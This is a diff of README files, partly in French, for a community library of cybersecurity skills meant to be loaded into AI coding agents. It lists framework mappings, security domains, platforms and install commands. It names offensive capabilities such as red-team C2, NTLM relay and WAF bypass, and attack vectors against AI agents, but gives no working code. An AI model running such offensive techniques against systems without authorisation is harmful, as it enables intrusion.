+|**Govern (GV)**|30+|Stratégie de risque, cadres de politique, rôles et responsabilités|
+|**Identify (ID)**|120+|Découverte des actifs, évaluation du paysage de menaces, analyse du risque|
+|**Protect (PR)**|150+|Durcissement IAM, règles WAF, zero trust, chiffrement|
+|**Detect (DE)**|200+|Threat hunting, corrélation SIEM, détection d'anomalies|
+|**Respond (RS)**|160+|Réponse à incident, forensics, confinement d'une compromission|
+|**Recover (RC)**|40+|Récupération ransomware, BCP, reprise après sinistre|
+
+NIST CSF 2.0 (février 2024) a ajouté la fonction **Govern** et étendu le périmètre des infrastructures critiques à toutes les organisations. Les mappages des compétences s'alignent sur les 22 catégories et font référence à 106 sous-catégories.
+
+**📊 Analyse approfondie des frameworks — ATLAS, D3FEND, AI RMF**
+
+### MITRE ATLAS v5.4 — Menaces adverses IA/ML
+
+ATLAS mappe les tactiques, techniques et cas d'usage adverses spécifiques aux systèmes d'IA et de machine learning. La version 5.4 couvre **16 tactiques et 84 techniques**, y compris les vecteurs d'attaque agentiques ajoutés fin 2025 : empoisonnement du contexte d'un agent IA, abus d'invocation d'outils, compromission de serveurs MCP, et déploiement d'agents malveillants. Les compétences mappées à ATLAS aident les agents à identifier et contrer les menaces visant les pipelines ML, les poids de modèles, les API d'inférence et les workflows autonomes.
+
+### MITRE D3FEND v1.3 — Contre-mesures défensives
+
+D3FEND est un graphe de connaissances financé par la NSA contenant **267 techniques défensives** organisées en 7 catégories tactiques : Model, Harden, Detect, Isolate, Deceive, Evict et Restore. Construit sur l'ontologie OWL 2, il utilise une couche Digital Artifact partagée pour mapper bidirectionnellement les contre-mesures défensives aux techniques offensives ATT&CK. Les compétences taguées avec des identifiants D3FEND permettent aux agents de recommander des contre-mesures précises pour les menaces détectées.
+
+### NIST AI RMF 1.0 + GenAI Profile (AI 600-1)
+
+Le cadre AI Risk Management Framework définit 4 fonctions centrales — Govern, Map, Measure, Manage — avec **72 sous-catégories** pour un développement IA digne de confiance. Le GenAI Profile (AI 600-1, juillet 2024) ajoute **12 catégories de risque** spécifiques à l'IA générative, de la confabulation et de la confidentialité des données à l'injection de prompt et aux risques de chaîne d'approvisionnement. Le Colorado AI Act (entré en vigueur en février 2026) offre un **safe harbor légal** aux organisations conformes au NIST AI RMF, rendant ces mappages directement pertinents pour la conformité réglementaire.
+
+## Plateformes compatibles
+
+**Assistants de code IA**
+Claude Code (Anthropic) · GitHub Copilot (Microsoft) · Cursor · Windsurf · Cline · Aider · Continue · Roo Code · Amazon Q Developer · Tabnine · Sourcegraph Cody · JetBrains AI
+
+**Agents CLI**
+OpenAI Codex CLI · Gemini CLI (Google)
+
+**Agents autonomes**
+Devin · Replit Agent · SWE-agent · OpenHands
+
+**Frameworks & SDKs d'agents**
+LangChain · CrewAI · AutoGen · Semantic Kernel · Haystack · Vercel AI SDK · Tout agent compatible MCP
+
+Toutes les plateformes supportant le standard agentskills.io peuvent charger ces compétences sans configuration.
+
+## Ce qu'ils en disent
+
+> _"Une base de données de vraies compétences de sécurité organisées que n'importe quel agent IA peut brancher et utiliser. Pas des tutoriels. Pas des articles de blog."_
+> — **Hasan Toor (@hasantoxr)**, créateur IA/tech
+
+> _"Ce n'est pas une collection aléatoire de scripts de sécurité. C'est une base de connaissances opérationnelle structurée conçue pour les workflows de sécurité pilotés par IA."_
+> — **fazal-sec**, Medium
+
+## Mentionné dans
+
+| Où | Type | Lien |
+|--|--|--|
+| **awesome-agent-skills** | Awesome List (index de 1000+ compétences) | VoltAgent/awesome-agent-skills |
+| **awesome-ai-security** | Awesome List (outils de sécurité IA) | ottosulin/awesome-ai-security |
+| **awesome-codex-cli** | Awesome List (ressources Codex CLI) | RoggeOhta/awesome-codex-cli |
+| **SkillsLLM** | Annuaire & marketplace de compétences | skillsllm.com/skill/anthropic-cybersecurity-skills |
+| **Openflows** | Analyse & suivi de signaux | openflows.org |
+| **NeverSight skills_feed** | Index automatisé des compétences | NeverSight/skills_feed |
+
+## Historique des étoiles
+
+![Star History Chart](https://star-history.dera.page/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date)
+
+## Releases
+
+| Version | Date | Points forts |
+|--|--|--|
+| v1.0.0 | 11 mars 2026 | 734 compétences · 26 domaines · Mappage MITRE ATT&CK + NIST CSF 2.0 · Couche ATT&CK Navigator |
+
+Les compétences continuent de croître sur `main` depuis la v1.0.0 — la bibliothèque contient désormais **817 compétences** avec un **mappage sur 6 frameworks** (MITRE ATLAS, D3FEND, NIST AI RMF, et le MITRE Fight Fraud Framework ajoutés après la release). Consultez les Releases pour la dernière version taguée.
+
+## Contribuer
+
+Ce projet évolue grâce aux contributions de la communauté. Voici comment participer :
+
+**Ajouter une nouvelle compétence** — Les domaines comme Deception Technology (6 compétences) et Hardware & Firmware Security (4 compétences) ont le plus besoin d'aide. Suivez le modèle dans CONTRIBUTING.md et soumettez une PR avec le titre `Add skill: nom-de-votre-competence`.
+
+**Améliorer les compétences existantes** — Ajoutez des mappages de frameworks, corrigez les workflows, mettez à jour les références d'outils, ou contribuez avec des scripts et modèles.
+
+**Signaler des problèmes** — Vous avez trouvé une procédure inexacte ou un script cassé ? Ouvrez une issue.
+
+Chaque PR est revue pour sa précision technique et sa conformité au standard agentskills.io dans les 48 heures. Consultez les *good first issues* pour commencer.
+
+Ce projet suit le Contributor Covenant. En participant, vous acceptez de respecter ce code.
+
+## Communauté
+
+💬 **Discussions** — Questions, idées et conversations sur la feuille de route
+🐛 **Issues** — Rapports de bugs et demandes de fonctionnalités
+🔒 **Politique de sécurité** — Processus de divulgation responsable (accusé de réception sous 48h)
+
+## Citation
+
+Si vous utilisez ce projet dans des recherches ou publications :
+
+```bibtex
+@software{anthropic_cybersecurity_skills,
+  author       = {Jangra, Mahipal},
+  title        = {Anthropic Cybersecurity Skills},
+  year         = {2026},
+  url          = {https://github.com/mukul975/Anthropic-Cybersecurity-Skills},
+  license      = {Apache-2.0},
+  note         = {817 compétences cybersécurité structurées pour agents IA,
+                  mappées à MITRE ATT\&CK, NIST CSF 2.0, MITRE ATLAS,
+                  MITRE D3FEND et NIST AI RMF}
+}
+```
+
+## Licence
+
+Ce projet est sous licence Apache License 2.0. Vous êtes libre d'utiliser, modifier et distribuer ces compétences dans des projets personnels comme commerciaux.
+
+---
+
+<div align="center">
+
+**Si ce projet aide votre travail en sécurité, pensez à lui donner une ⭐**
+
+> [⭐ Star](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers) · [🍴 Fork](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/fork) · [💬 Discuss](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions) · [📝 Contribute](CONTRIBUTING.md~~~
+
+*Projet communautaire par @mukul975. Non affilié à Anthropic PBC.*
+
+</div>

README.md

@@ -1,574 +1,465 @@
 <p align="center">
-  <img src="assets/banner.png" alt="Anthropic Cybersecurity Skills — 753 skills for AI agents" width="100%" />
+  <img src="assets/banner.png" alt="Anthropic Cybersecurity Skills" width="100%">
 </p>
 
-<p align="center">
-  <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache_2.0-blue.svg?style=for-the-badge" alt="License: Apache 2.0" /></a>
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers"><img src="https://img.shields.io/github/stars/mukul975/Anthropic-Cybersecurity-Skills?style=for-the-badge&logo=github" alt="GitHub Stars" /></a>
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/network/members"><img src="https://img.shields.io/github/forks/mukul975/Anthropic-Cybersecurity-Skills?style=for-the-badge&logo=github" alt="GitHub Forks" /></a>
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/commits"><img src="https://img.shields.io/github/last-commit/mukul975/Anthropic-Cybersecurity-Skills?style=for-the-badge&logo=github" alt="Last Commit" /></a>
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills"><img src="https://img.shields.io/badge/Skills-753-blueviolet?style=for-the-badge&logo=bookstack&logoColor=white" alt="753 Skills" /></a>
-  <a href="https://attack.mitre.org/"><img src="https://img.shields.io/badge/MITRE_ATT%26CK-Mapped-red?style=for-the-badge&logo=shield&logoColor=white" alt="MITRE ATT&CK Mapped" /></a>
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/graphs/contributors"><img src="https://img.shields.io/github/contributors/mukul975/Anthropic-Cybersecurity-Skills?style=for-the-badge&logo=github" alt="Contributors" /></a>
-</p>
+<div align="center">
 
-<p align="center">
-  <b>The largest open-source collection of cybersecurity skills for AI agents.<br/>753 structured skills · MITRE ATT&CK mapped · NIST CSF 2.0 aligned · <a href="https://agentskills.io">agentskills.io</a> open standard</b>
-</p>
+#  Anthropic Cybersecurity Skills
 
-<p align="center">
-  <a href="https://mahipal.engineer/Anthropic-Cybersecurity-Skills/">🌐 Landing Page</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases/tag/v1.1.0">📦 v1.1.0 Release</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues">🐛 Report Bug</a> · <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues">💡 Request Feature</a>
-</p>
+### The largest open-source cybersecurity skills library for AI agents
+
+[![GARS-2026 Survey](https://img.shields.io/badge/GARS--2026-Take%20the%20Survey-E8B84B?style=for-the-badge&logo=googleforms&logoColor=black)](https://mahipal.engineer/survey?utm_source=github_badge&utm_medium=readme&utm_campaign=gars2026)
+[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg?style=flat-square)](LICENSE)
+[![Skills](https://img.shields.io/badge/skills-818-brightgreen?style=flat-square)](#whats-inside--34-security-domains)
+[![Frameworks](https://img.shields.io/badge/frameworks-6-orange?style=flat-square)](#six-frameworks-one-skill-library)
+[![MITRE F3](https://img.shields.io/badge/MITRE-F3_v1.1-blue?style=flat-square)](https://ctid.mitre.org/fraud/)
+[![Domains](https://img.shields.io/badge/domains-34-9cf?style=flat-square)](#whats-inside--34-security-domains)
+[![Platforms](https://img.shields.io/badge/platforms-26%2B-blueviolet?style=flat-square)](#compatible-platforms)
+[![GitHub stars](https://img.shields.io/github/stars/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers)
+[![GitHub forks](https://img.shields.io/github/forks/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/network/members)
+[![Last Commit](https://img.shields.io/github/last-commit/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/commits/main)
+[![agentskills.io](https://img.shields.io/badge/standard-agentskills.io-ff6600?style=flat-square)](https://agentskills.io)
+[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](CONTRIBUTING.md)
+[![Playground](https://img.shields.io/badge/Playground-Casky.ai-blue)](https://casky.ai/?utm_source=github&utm_medium=readme&utm_campaign=cohort_launch#waitlist)
+[![Hermes Agent](https://img.shields.io/badge/Hermes_Agent-compatible-blueviolet?style=flat)](https://github.com/NousResearch/hermes-agent)
+
+
+**818 production-grade cybersecurity skills · 34 security domains · 6 framework mappings · 26+ AI platforms**
+
+[Get Started](#quick-start) · [What's Inside](#whats-inside--34-security-domains) · [Frameworks](#six-frameworks-one-skill-library) · [Platforms](#compatible-platforms) · [Contributing](#contributing)
+
+</div>
 
 ---
 
-Anthropic Cybersecurity Skills gives every AI agent — from Claude Code to GitHub Copilot to your custom LangChain pipeline — instant access to **753 production-grade cybersecurity skills** spanning 26 security domains. Each skill follows the [agentskills.io](https://agentskills.io) open standard: a YAML frontmatter header for lightning-fast discovery, a structured Markdown body for step-by-step execution, and reference files for deep technical context. The entire collection is mapped to **MITRE ATT&CK** (all 14 Enterprise tactics, 200+ techniques) and aligned to **NIST CSF 2.0** — giving AI agents the same structured knowledge that senior security practitioners carry in their heads. Install in one command and your agent immediately knows how to perform memory forensics, hunt for C2 beaconing, audit Kubernetes RBAC, reverse .NET malware, and hundreds more tasks.
+> ⚠️ **Community Project** — This is an independent, community-created project. Not affiliated with Anthropic PBC.
+>
+> 🔐 **Authorized & lawful use only.** This library includes offensive and dual-use techniques (e.g. red-team C2, phishing simulation, exploitation) intended for **authorized penetration testing, security research, defense, and education**. Only use them against systems you own or have **explicit written permission** to test, and comply with all applicable laws and rules of engagement. You are solely responsible for how you use these skills. See [SECURITY.md](SECURITY.md) and [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md).
 
-## 📑 Table of contents
+## Give any AI agent the security skills of a senior analyst
 
-- [🚀 Quick start](#-quick-start--install-cybersecurity-skills-for-ai-agents)
-- [🛡️ What's inside](#️-whats-inside--753-cybersecurity-skills-across-38-domains)
-- [🤖 Compatible platforms](#-compatible-ai-agent-platforms)
-- [📐 Skill structure](#-skill-structure-and-agentskillsio-format)
-- [🗺️ MITRE ATT&CK coverage](#️-mitre-attck-and-nist-csf-20-coverage)
-- [🧠 How AI agents use these skills](#-how-ai-agents-use-these-cybersecurity-skills)
-- [📝 Example skills](#-example-cybersecurity-skills)
-- [👥 Contributors](#-contributors)
-- [🤝 Contributing](#-contributing-to-cybersecurity-ai-skills)
-- [⭐ Star history](#-star-history)
-- [🌐 Community](#-community)
-- [📄 License](#-license)
+A junior analyst knows which Volatility3 plugin to run on a suspicious memory dump, which Sigma rules catch Kerberoasting, and how to scope a cloud breach across three providers. **Your AI agent doesn't — unless you give it these skills.**
 
----
+This repo contains **818 structured cybersecurity skills** spanning **34 security domains**, each following the [agentskills.io](https://agentskills.io) open standard.  The library maps across **six industry frameworks** — MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework (F3) — with each skill mapped to the frameworks **relevant to its type** (a forensics skill carries ATT&CK + CSF; an AI-security skill adds ATLAS and AI RMF).  Clone it, point your agent at it, and your next security investigation gets expert-level guidance in seconds.
 
-## 🚀 Quick start — install cybersecurity skills for AI agents
+## Six frameworks, one skill library
 
-Get up and running in under 30 seconds. Choose your preferred method:
+Each skill maps to the frameworks that fit its subject — ATT&CK and NIST CSF are near-universal, while ATLAS, AI RMF, D3FEND, and F3 apply where they're relevant. **Framework coverage across the 817 skills:** MITRE ATT&CK **805** · NIST CSF 2.0 **804** · MITRE D3FEND **139** · NIST AI RMF **97** · MITRE F3 **94** · MITRE ATLAS **93**.
 
-### Option 1 · npx (recommended)
+| Framework | Version | Framework scope | What it maps |
+|---|---|---|---|
+| [MITRE ATT&CK](https://attack.mitre.org) | v19.1 | 15 tactics · Enterprise/Mobile/ICS | Adversary behaviors and TTPs |
+| [NIST CSF 2.0](https://www.nist.gov/cyberframework) | 2.0 | 6 functions · 22 categories · 106 subcategories | Organizational security posture |
+| [MITRE ATLAS](https://atlas.mitre.org) | 2026.07 | 101 techniques · 77 sub-techniques | AI/ML adversarial threats |
+| [MITRE D3FEND](https://d3fend.mitre.org) | v1.4.0 | 270 techniques | Defensive countermeasures |
+| [NIST AI RMF](https://airc.nist.gov/AI_RMF) | 1.0 | 4 functions (Govern/Map/Measure/Manage) | AI risk management |
+| [MITRE F3 (Fight Fraud Framework)](https://ctid.mitre.org/fraud/) | v1.1 (2026-04-09) | 8 tactics · 123 techniques · 94 fraud-relevant skills | Cyber-enabled financial fraud TTPs |
+
+**Example — each skill maps only to the frameworks relevant to it (one may hit all six, another just a couple):**
+
+| Skill | ATT&CK | NIST CSF | ATLAS | D3FEND | AI RMF | F3 |
+|---|---|---|---|---|---|---|
+| `analyzing-network-traffic-of-malware` | T1071 | DE.CM | AML.T0047 | D3-NTA | MEASURE-2.6 | — |
+| `detecting-business-email-compromise` | T1566 | DE.AE | — | — | — | F1005.006 · monetization |
+
+### 🆕 MITRE Fight Fraud Framework (F3) — 94 fraud-relevant skills
+
+[![MITRE F3](https://img.shields.io/badge/MITRE-F3_v1.1-blue?style=flat-square)](https://ctid.mitre.org/fraud/)
+
+The **[MITRE Fight Fraud Framework (F3)](https://ctid.mitre.org/fraud/)** was released **April 9, 2026** by MITRE's Center for Threat-Informed Defense (CTID), co-developed with JPMorganChase, Citigroup, Lloyds Banking Group, Standard Chartered, CrowdStrike, Verizon Business, FS-ISAC, and others. It is an ATT&CK-compatible TTP catalog for **cyber-enabled financial fraud** — filling the gap ATT&CK leaves after initial compromise.
+
+F3 v1.1 adds **two fraud-specific tactics** that ATT&CK does not enumerate:
+- **Positioning** (`FA0001`) — actions taken after access to collect/manipulate data and prepare the fraud (synthetic-identity seeding, account warming, beneficiary setup, SIM-swap pre-positioning, banking-session hijack).
+- **Monetization** (`FA0002`) — converting stolen assets into usable funds (money-mule layering, APP fraud, crypto off-ramping, card cash-out, refund/chargeback abuse).
+
+Fraud-specific techniques use `F1XXX` IDs (e.g. `F1005.003` Add Beneficiary, `F1025.003` Wire Transfer, `F1007` Adversary-in-the-Browser); reused ATT&CK techniques keep their `T1XXX` IDs. Mappings live in each skill's `mitre_f3:` frontmatter block — all 123 F3 v1.1 technique IDs were verified against the upstream STIX bundle. See [`docs/mitre-f3-mapping.md`](docs/mitre-f3-mapping.md) for the schema.
+
+### MITRE ATT&CK v19.1 — 805/817 skills mapped
+
+Every skill carries a `mitre_attack` frontmatter list validated against **MITRE ATT&CK v19.1** (the latest release) using the official `mitreattack-python` library — 290 distinct techniques and sub-techniques (146 base + 144 sub) across Enterprise, ICS, and Mobile. Zero revoked or deprecated IDs. v19.1's restructured Defense Evasion (now split into **Stealth** and **Defense Impairment**) is reflected below.
+
+| Tactic | ID | Skills |
+|--------|----|--------|
+| Reconnaissance | TA0043 | 103 |
+| Resource Development | TA0042 | 22 |
+| Initial Access | TA0001 | 467 |
+| Execution | TA0002 | 350 |
+| Persistence | TA0003 | 444 |
+| Privilege Escalation | TA0004 | 464 |
+| Stealth | TA0005 | 442 |
+| Defense Impairment | TA0112 | 92 |
+| Credential Access | TA0006 | 202 |
+| Discovery | TA0007 | 237 |
+| Lateral Movement | TA0008 | 68 |
+| Collection | TA0009 | 172 |
+| Command and Control | TA0011 | 123 |
+| Exfiltration | TA0010 | 82 |
+| Impact | TA0040 | 50 |
+
+## Quick start
 
 ```bash
+# Option 1: npx (recommended)
 npx skills add mukul975/Anthropic-Cybersecurity-Skills
-```
 
-### Option 2 · Claude Code plugin marketplace
-
-```
-/plugin marketplace add mukul975/Anthropic-Cybersecurity-Skills
-```
-
-### Option 3 · Manual clone
-
-```bash
+# Option 2: Git clone
 git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
 cd Anthropic-Cybersecurity-Skills
 ```
 
-> **That's it.** Your AI agent can now discover and execute 753 cybersecurity skills on demand. No configuration, no API keys, no setup scripts.
+Works immediately with Claude Code, GitHub Copilot, OpenAI Codex CLI, Cursor, Gemini CLI, and any [agentskills.io](https://agentskills.io)-compatible platform. 
 
----
+## 🌍 GARS-2026 — Global Agentic AI Readiness Survey
 
-## 🛡️ What's inside — 753 cybersecurity skills across 38 domains
+I'm running a global academic study measuring how ready security professionals,
+developers, and enterprise teams actually are for agentic AI — MCP servers,
+tool calling, governance, and human-in-the-loop workflows.
 
-Every skill is a self-contained directory with structured workflows, reference materials, helper scripts, and validation steps. Here are the top 16 domains:
+**If you use this repo, your response would be a genuinely valuable data point.**
 
-| Domain | Skills | Example capabilities |
-|:-------|:------:|:---------------------|
-| ☁️ **Cloud Security** | **48** | AWS S3 bucket audit, Azure AD config review, GCP IAM assessment |
-| 🌐 **Web Application Security** | **45** | HTTP request smuggling, XSS with Burp Suite, web cache poisoning |
-| 🔌 **Network Security** | **41** | Wireshark traffic analysis, VLAN segmentation, Suricata IDS tuning |
-| 🎯 **Penetration Testing** | **38** | Active Directory exploitation, OSCP-style methodology, pivoting |
-| 🔴 **Red Teaming** | **35** | Cobalt Strike operations, LOTL techniques, evasion & persistence |
-| 🔍 **DFIR** | **32** | Disk imaging, memory forensics with Volatility3, browser forensics |
-| 🦠 **Malware Analysis** | **28** | Ghidra reverse engineering, YARA rules, .NET decompilation |
-| 📡 **Threat Intelligence** | **26** | APT group analysis with MITRE Navigator, campaign attribution |
-| ☸️ **Cloud Native / Kubernetes** | **24** | etcd security assessment, pod security policies, RBAC audit |
-| 📋 **Compliance & Governance** | **22** | PCI DSS scoping, SOC 2 readiness, GDPR data mapping |
-| 🔑 **IAM Security** | **20** | SAML SSO with Okta, PAM deployment, service account hardening |
-| 🔐 **Cryptography** | **18** | TLS configuration audit, certificate lifecycle, key management |
-| 🏰 **Zero Trust** | **16** | Microsegmentation, BeyondCorp implementation, continuous verification |
-| 🏭 **OT / ICS Security** | **14** | SCADA monitoring, Modbus anomaly detection, Purdue model |
-| 🔧 **DevSecOps** | **12** | Pipeline security gates, SAST/DAST integration, IaC scanning |
-| 🕵️ **OSINT** | **15** | Domain reconnaissance, social engineering recon, dark web monitoring |
-| ➕ **Additional domains (10+)** | **300+** | SOC operations, API security, endpoint security, phishing defense, ransomware defense, mobile security, deception technology, and more |
-| | **753** | **Total skills across 38 domains** |
+📋 **Take the survey (10 min):**
+[Survey Link](https://mahipal.engineer/survey?utm_source=github_repo&utm_medium=readme&utm_campaign=gars2026)
 
----
+- 60 questions · Anonymous · Supervised by SRH Berlin
+- You get **50 Casky Tokens** for early access to [casky.ai](https://casky.ai)
+- Results published open access under CC-BY 4.0
 
-## 🤖 Compatible AI agent platforms
+## 🚀 Try it on the Playground
 
-Skills follow the [agentskills.io](https://agentskills.io) open standard — **write once, use everywhere**. Any platform that reads `SKILL.md` files with YAML frontmatter works out of the box.
+Experience Casky.ai hands-on — no setup required.
 
-### AI code assistants
+**[→ Launch Playground on Casky.ai](https://casky.ai/?utm_source=github&utm_medium=readme&utm_campaign=cohort_launch#waitlist)**
 
-| Platform | Status | Install method |
-|:---------|:------:|:---------------|
-| **Claude Code** (Anthropic) | ✅ | `/plugin marketplace add mukul975/Anthropic-Cybersecurity-Skills` |
-| **GitHub Copilot** (Microsoft) | ✅ | Place in `.github/skills` directory |
-| **Cursor** | ✅ | `npx skills add` or manual clone |
-| **Windsurf** | ✅ | `npx skills add` or manual clone |
-| **Cline** | ✅ | `npx skills add` or manual clone |
-| **Aider** | ✅ | `npx skills add` or manual clone |
-| **Continue** | ✅ | `npx skills add` or manual clone |
-| **Roo Code** | ✅ | `npx skills add` or manual clone |
-| **Amazon Q Developer** | ✅ | `npx skills add` or manual clone |
-| **Tabnine** | ✅ | `npx skills add` or manual clone |
-| **Sourcegraph Cody** | ✅ | `npx skills add` or manual clone |
-| **JetBrains AI** | ✅ | `npx skills add` or manual clone |
+The playground lets you:
+- Run live cybersecurity skill exercises against real targets
+- See AI agents execute structured skills in real time
+- Explore MITRE ATT&CK mapped workflows interactively
+- Test threat hunting, DFIR, and penetration testing scenarios
 
-### CLI agents
+No installation. No configuration. Just open and start.
+## Why this exists
 
-| Platform | Status | Install method |
-|:---------|:------:|:---------------|
-| **OpenAI Codex CLI** | ✅ | `npx skills add` — reads from `~/.codex/skills` |
-| **Gemini CLI** (Google) | ✅ | `npx skills add` or manual clone |
+The cybersecurity workforce gap hit **4.8 million unfilled roles** globally in 2024 (ISC2). AI agents can help close that gap — but only if they have structured domain knowledge to work from. Today's agents can write code and search the web, but they lack the practitioner playbooks that turn a generic LLM into a capable security analyst.
 
-### Autonomous agents
+Existing security tool repos give you wordlists, payloads, or exploit code. None of them give an AI agent the structured decision-making workflow a senior analyst follows: when to use each technique, what prerequisites to check, how to execute step-by-step, and how to verify results. That is the gap this project fills.
 
-| Platform | Status | Install method |
-|:---------|:------:|:---------------|
-| **Devin** | ✅ | Point to cloned skill directory |
-| **Replit Agent** | ✅ | Import via repo URL |
-| **SWE-agent** | ✅ | Mount skill directory |
-| **OpenHands** | ✅ | Mount skill directory |
+**Anthropic Cybersecurity Skills** is not a collection of scripts or checklists. It is an **AI-native knowledge base** built from the ground up for the agentskills.io standard  — YAML frontmatter for sub-second discovery, structured Markdown for step-by-step execution, and reference files for deep technical context.  Every skill encodes real practitioner workflows, not generated summaries. 
 
-### Agent frameworks & SDKs
+## What's inside — 34 security domains
 
-| Platform | Status | Install method |
-|:---------|:------:|:---------------|
-| **LangChain** | ✅ | Load `SKILL.md` files as tool descriptions |
-| **CrewAI** | ✅ | Load as agent knowledge base |
-| **AutoGen** | ✅ | Load as agent knowledge base |
-| **Semantic Kernel** | ✅ | Load as plugins |
-| **Haystack** | ✅ | Ingest via document store |
-| **Vercel AI SDK** | ✅ | Load as tool definitions |
-| **Any MCP-compatible agent** | ✅ | Via MCP tool integration |
+| Domain | Skills | Key capabilities |
+|---|---|---|
+| Cloud Security | 66 | AWS, Azure, GCP hardening · CSPM · cloud attack emulation · cloud forensics |
+| SOC Operations | 63 | Playbooks · escalation workflows · Graph-log detection · tabletop exercises |
+| Threat Hunting | 58 | Hypothesis-driven hunts · LOTL detection · EVTX hunting · fleet hunting |
+| Threat Intelligence | 52 | STIX/TAXII · MISP · OpenCTI · feed integration · actor profiling |
+| Web Application Security | 46 | OWASP Top 10 · SQLi · XSS · SSRF · deserialization |
+| Network Security | 43 | IDS/IPS · firewall rules · VLAN segmentation · traffic analysis |
+| Digital Forensics | 41 | Disk imaging · memory forensics · Hayabusa/KAPE/Plaso timelines |
+| Identity & Access Management | 40 | Entra ID/ROADtools · device-code phishing · PAM · zero trust identity |
+| Malware Analysis | 39 | Static/dynamic analysis · reverse engineering · sandboxing |
+| Red Teaming | 35 | ADCS/Certipy · BloodHound CE · Sliver/Havoc C2 · NTLM relay |
+| Container Security | 33 | K8s RBAC · image scanning · Falco · container escape |
+| OT/ICS Security | 29 | Modbus · DNP3 · IEC 62443 · historian defense · SCADA |
+| API Security | 28 | GraphQL · REST · OWASP API Top 10 · WAF bypass |
+| Incident Response | 26 | Breach containment · ransomware response · IR playbooks |
+| Vulnerability Management | 25 | Nessus · scanning workflows · patch prioritization · CVSS |
+| Penetration Testing | 23 | Network · web · cloud · mobile · NetExec lateral movement |
+| DevSecOps | 18 | CI/CD security · Trivy IaC/image scanning · code signing |
+| Zero Trust Architecture | 18 | BeyondCorp · CISA maturity model · microsegmentation |
+| Endpoint Security | 17 | EDR · LOTL detection · fileless malware · persistence hunting |
+| Phishing Defense | 16 | Email authentication · BEC detection · phishing IR |
+| Cryptography | 16 | TLS · Ed25519 · post-quantum migration · key management |
+| AI Security | 14 | LLM red-teaming (garak/PyRIT) · prompt injection · MCP/agentic security · guardrails |
+| Mobile Security | 13 | Android/iOS analysis · mobile pentesting · MDM forensics |
+| Ransomware Defense | 13 | Precursor detection · response · recovery · encryption analysis |
+| Compliance & Governance | 10 | NIST 800-30/RMF · CMMC · HIPAA · TPRM · CIS benchmarks |
+| Supply Chain Security | 8 | SBOMs · dependency confusion · malicious-package triage · SLSA/Sigstore |
+| Threat Detection | 7 | Credential dumping · golden-ticket forgery · pass-the-ticket · LOLBAS · UEBA insider signals |
+| Hardware & Firmware Security | 6 | CHIPSEC/UEFI audit · Secure Boot bypass · TPM attestation · bootkit hunting |
+| Deception Technology | 6 | Honeytokens · canarytokens · breach detection |
+| Blockchain Security | 2 | Ethereum smart-contract vulnerabilities · Foundry audit workflows |
+| Wireless Security | 2 | Bluetooth Low Energy attack detection · BLE security assessment |
+| Privacy Compliance | 2 | GDPR data-subject access requests · privacy impact assessments |
+| Data Protection | 1 | Data loss prevention with Microsoft Purview |
+| Purple Team | 1 | Atomic Red Team purple-team testing |
 
----
+*817 skills across 34 domains. Counts come from the `subdomain` field in each skill's frontmatter.*
 
-## 📐 Skill structure and agentskills.io format
+## How AI agents use these skills
 
-Every skill lives in its own directory under `skills/` and follows a consistent structure:
+Each skill costs **~30 tokens to scan** (frontmatter only)  and **500–2,000 tokens to fully load** (complete workflow). This progressive disclosure architecture lets agents search all 818 skills in a single pass without blowing context windows. 
+
+```
+User prompt: "Analyze this memory dump for signs of credential theft"
+
+Agent's internal process:
+
+  1. Scans 818 skill frontmatters (~30 tokens each)
+     → identifies 12 relevant skills by matching tags, description, domain
+
+  2. Loads top 3 matches:
+     • performing-memory-forensics-with-volatility3
+     • hunting-for-credential-dumping-lsass
+     • analyzing-windows-event-logs-for-credential-access
+
+  3. Executes the structured Workflow section step-by-step
+     → runs Volatility3 plugins, checks LSASS access patterns,
+        correlates with event log evidence
+
+  4. Validates results using the Verification section
+     → confirms IOCs, maps findings to ATT&CK T1003 (Credential Dumping)
+```
+
+**Without these skills**, the agent guesses at tool commands and misses critical steps. **With them**, it follows the same playbook a senior DFIR analyst would use. 
+
+## Skill anatomy
+
+Every skill follows a consistent directory structure:
 
 ```
 skills/performing-memory-forensics-with-volatility3/
-├── SKILL.md              # Skill definition (YAML frontmatter + Markdown body)
-│   ├── Frontmatter       #   → name, description, domain, subdomain, tags
-│   ├── When to Use       #   → Trigger conditions for AI agents
-│   ├── Prerequisites     #   → Required tools, access, environment
-│   ├── Workflow           #   → Step-by-step execution guide
-│   └── Verification      #   → How to confirm success
+├── SKILL.md              ← Skill definition (YAML frontmatter + Markdown body)
 ├── references/
-│   ├── standards.md      # NIST, MITRE ATT&CK, CVE references
-│   └── workflows.md      # Deep technical procedure reference
+│   ├── standards.md      ← MITRE ATT&CK, ATLAS, D3FEND, NIST mappings
+│   └── workflows.md      ← Deep technical procedure reference
 ├── scripts/
-│   └── process.py        # Practitioner helper scripts
+│   └── process.py        ← Working helper scripts
 └── assets/
-    └── template.md       # Checklists, report templates
+    └── template.md       ← Filled-in checklists and report templates
 ```
 
-### YAML frontmatter (the discovery layer)
+
+### YAML frontmatter (real example)
 
 ```yaml
 ---
 name: performing-memory-forensics-with-volatility3
-description: >-
